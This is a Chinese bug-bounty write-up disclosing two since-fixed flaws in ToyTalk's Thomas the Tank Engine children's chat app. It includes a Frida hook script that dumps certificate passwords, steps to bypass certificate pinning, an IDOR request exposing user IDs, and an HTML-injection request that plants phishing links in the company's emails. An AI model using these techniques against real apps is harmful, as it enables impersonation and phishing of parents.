1. 程式人生 > 其它 >挖洞經驗 | 看我如何發現“小火車托馬斯”智慧玩具APP聊天應用漏洞

挖洞經驗 | 看我如何發現“小火車托馬斯”智慧玩具APP聊天應用漏洞

最近,我向智慧玩具廠商ToyTalk提交了兩個APP相關的漏洞並獲得了$1750美金獎勵,目前,漏洞已被成功修復,在此我打算公開詳細的漏洞發現過程,以便其他APP開發人員將這種脆弱性威脅納入開發過程的安全性考慮範圍。

漏洞發現背景

ToyTalk是一家由皮克斯前高管建立的人工智慧玩具初創公司,它們設計的智慧玩具具備視覺跟蹤、語音識別和網路擴充套件功能,能讓兒童通過APP與玩具之間進行語音交流和行為反應識別,激發兒童與虛擬人物的談話能力,更好地實現與玩具之間的互動樂趣。

ToyTalk於2015年7月推出了一款名為“托馬斯和他的朋友們與你聊天 ”(Thomas & Friends Talk To You)”的付費APP,能讓兒童與知名卡通人物“小火車托馬斯”(Thomas the Tank Engine)互動聊天,它允許兒童在 8 次多多島故事之旅中,與托馬斯及其朋友培西、高登、亨利、詹姆斯、愛德華、託比、“胖總管”託芬海先生(Sir Topham Hatt)進行雙向對話。

為了測試ToyTalk玩具產品的安全性,以及接入家庭網路環境帶來的安全風險,我決定對“托馬斯和他的朋友們與你聊天 ”APP進行一些分析研究。由於ToyTalk產品都使用相同的程式碼庫,而且這款托馬斯對話APP很容易安裝和刪除,方便測試,也能有代表性。另外,ToyTalk的其它產品,如Hello Barbie(哈囉芭比)和Barbie Hello Dreamhouse (芭比夢幻之家)也可能存在相同漏洞。

漏洞情況

漏洞1: - 缺乏身份驗證機制,攻擊者能很容易地假冒成一個兒童與托馬斯玩具進行對話 漏洞2:- 可假冒[email protected]或其它註冊使用者,傳送注入HTML惡意釣魚連結的郵件

APP工作原理分析

“托馬斯和他的朋友們與你聊天 ”的APP啟動後,要求輸入提供一個家長的電子郵件地址,以確認使用APP提供的語音識別功能,當提交了電子郵件地址之後,APP進入執行介面。

剛開始,你可能會覺得該APP暴露的攻擊面非常有限,因為它需要提供與玩具對話的確認許可權。

接下來,我要對該APP進行網路瀏覽攔截分析。而且在分析中發現,該APP與其它應用不同,它提供了一個與客戶端進行認證的證書,也就是說,APP和它的WEB伺服器之間也會存在一個相互認證的過程。基於此,我們要先來看看客戶端證書和相關密碼驗證的工作機制。

通過逆向後我們發現,以下兩個函式比較有意思:

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }

之後,我沒有繼續逆向尋找密碼傳入函式,而是使用以下具備frida hook功能,可以轉儲密碼和檔名的Python指令碼來深入:

import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

高興的是,可以從apk中提取出正確的認證證書檔案,並能用於執行中間人攻擊(MITM),而有趣的是,檔案toytalk.12沒有使用任何密碼保護。

現在,我們就可以使用客戶端證書了,但仍需繞過證書鎖定(Certificate Pinning)。雖然有幾種方式可以實現,但最簡單的方法是從apk中刪除證書,重建程式然後重新安裝。把客戶端證書匯入Burpsuite,實現了證書鎖定功能禁用,之後,我們就可以進入大多數APP程式測試的第一步-流量攔截。

漏洞分析

漏洞1 - 缺乏身份驗證機制

該APP程式還提供了一個不太明顯的功能,就是其捕獲的對話音訊檔案會儲存線上,可備家長後續進行重放收聽,該功能與用於之前授權同意的電子郵箱地址繫結,雖然該郵箱地址只在父母執行密碼重置時才用得到。

當”speak” 按鈕被按下時,APP會把捕獲的音訊檔案以以下POST請求方式傳送到遠端Web伺服器中:

https://asr.2.toytalk.com/v3/asr/0673bcb8-367a-44bc-aed5-8c21fb7086af/thomas/1502714441?account=&play_session=&client=com.toytalk.thomas&locale=en_GB&device_id=&device_model=&os=Android&os_version=5.1&intelligence=0%2F1%2Fc%2F01cd49694727bbcf1c0cefd7a4a24f2e_intelligence.tiz&ruleset_id=rs_b92dd8d9-cba9-4a76-a56b-51fc3d15f8f5&rate=16000

雖然其中的傳送內容涉及很多變數值,但通過把當前使用者ID更改為其它使用者ID後,就能把音訊檔案傳送到指定的使用者賬戶名下,這將會允許一些惡意攻擊者向兒童父母傳送一些淫穢音訊資訊。

在這種情況下,雖然使用者ID是一個隨機的全域性惟一識別符號(GUID),但我們可以根據郵箱地址等已知線索來發現一些有效的使用者ID資訊。

另外,執行ToyTalk程式碼庫的”strings”命令後,也有一點蛛絲馬跡可循:

所以,根據上圖資訊,一旦客戶端證書被安裝到瀏覽器中後,通過訪問地址:

https://api.toytalk.com/v3/account/

就能下載到一個包含使用者ID的檔案。有使用者ID資訊在手,就能更改POST請求中的ID資訊,將對話音訊傳送到任何註冊了該APP的郵箱地址中去。該漏洞可以通過要求提供正確的裝置ID以及關聯使用者ID來修復解決。我們還沒測試裝置ID是否能以其它方法獲取,但要向某個使用者賬號新增一個裝置ID,貌似需要訪問到關聯的郵箱地址才行。

漏洞報送程序

2017.8.14 - 向ToyTalk報告漏洞 2017.11.16 - 被分類為一般漏洞並被初次修復,變為closed狀態 2017.11.29 - ToyTalk再次測試發現漏洞仍然存在,並重置為reopen狀態 2017.12.8 - 完全修復漏洞 2017.12.18 - 漏洞賞金髮放並關閉漏洞報告

漏洞2 - 可向ToyTalk郵件中注入惡意HTML框架

在以上漏洞1提交過後沒幾天,我的朋友建議我可以研究一下ToyTalk的郵箱注入機制。在使用諸如“Thomas And You”等APP應用註冊裝置時,它會將一封電子郵件傳送到使用者提供的郵箱地址中, 由於該電子郵件中包含了使用者資訊(裝置名稱),如果攻擊者利用漏洞1方法獲取到受害者的使用者ID之後,那麼,接下來可以修改電子郵件HTML中包含的裝置名稱,以該受害者使用者ID為可信發件人,向其它受害者傳送惡意釣魚郵件,或任意更改過的郵件內容。

為了向受害者傳送釣魚郵件,攻擊者先要用郵箱在該APP上進行註冊,利用該註冊郵箱地址,再用漏洞1方法獲取到受害者使用者ID,用以後續進行釣魚郵件傳送。

也即,首先,攻擊者用受害者註冊過的郵箱地址,執行以下請求,以獲取到相應的受害者使用者ID:

GET /v3/account/<email address> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close

然後,再以該使用者ID為可信發件人,用以下POST方式,向其它受害者傳送包含釣魚連結的惡意郵件內容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"</br>%20<a%20href="http://google.com">click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close

以上只是一個簡單的PoC示例,它利用標籤將HTML連結注入到郵件內容框架中,但如果花時間調整,也可以精心製作出一個更具迷惑性的釣魚郵件來,例如,某位家長可以假冒[email protected]郵件來欺騙其它家長的使用者名稱密碼資訊。下圖就是我們假冒toytalk官方傳送的包含釣魚連結的郵件內容:

漏洞報送程序:

2017.12.4 - 提交漏洞 2017.12.12 - 官方致謝 2017.12.18 - 官方修復漏洞 2017.12.18 - 釋出賞金並關閉漏洞報告

總結

整體來說,兩個漏洞的利用方式都存在一定的受限條件,但也側面說明了大量APP在開發過程中忽視了全面的安全考慮。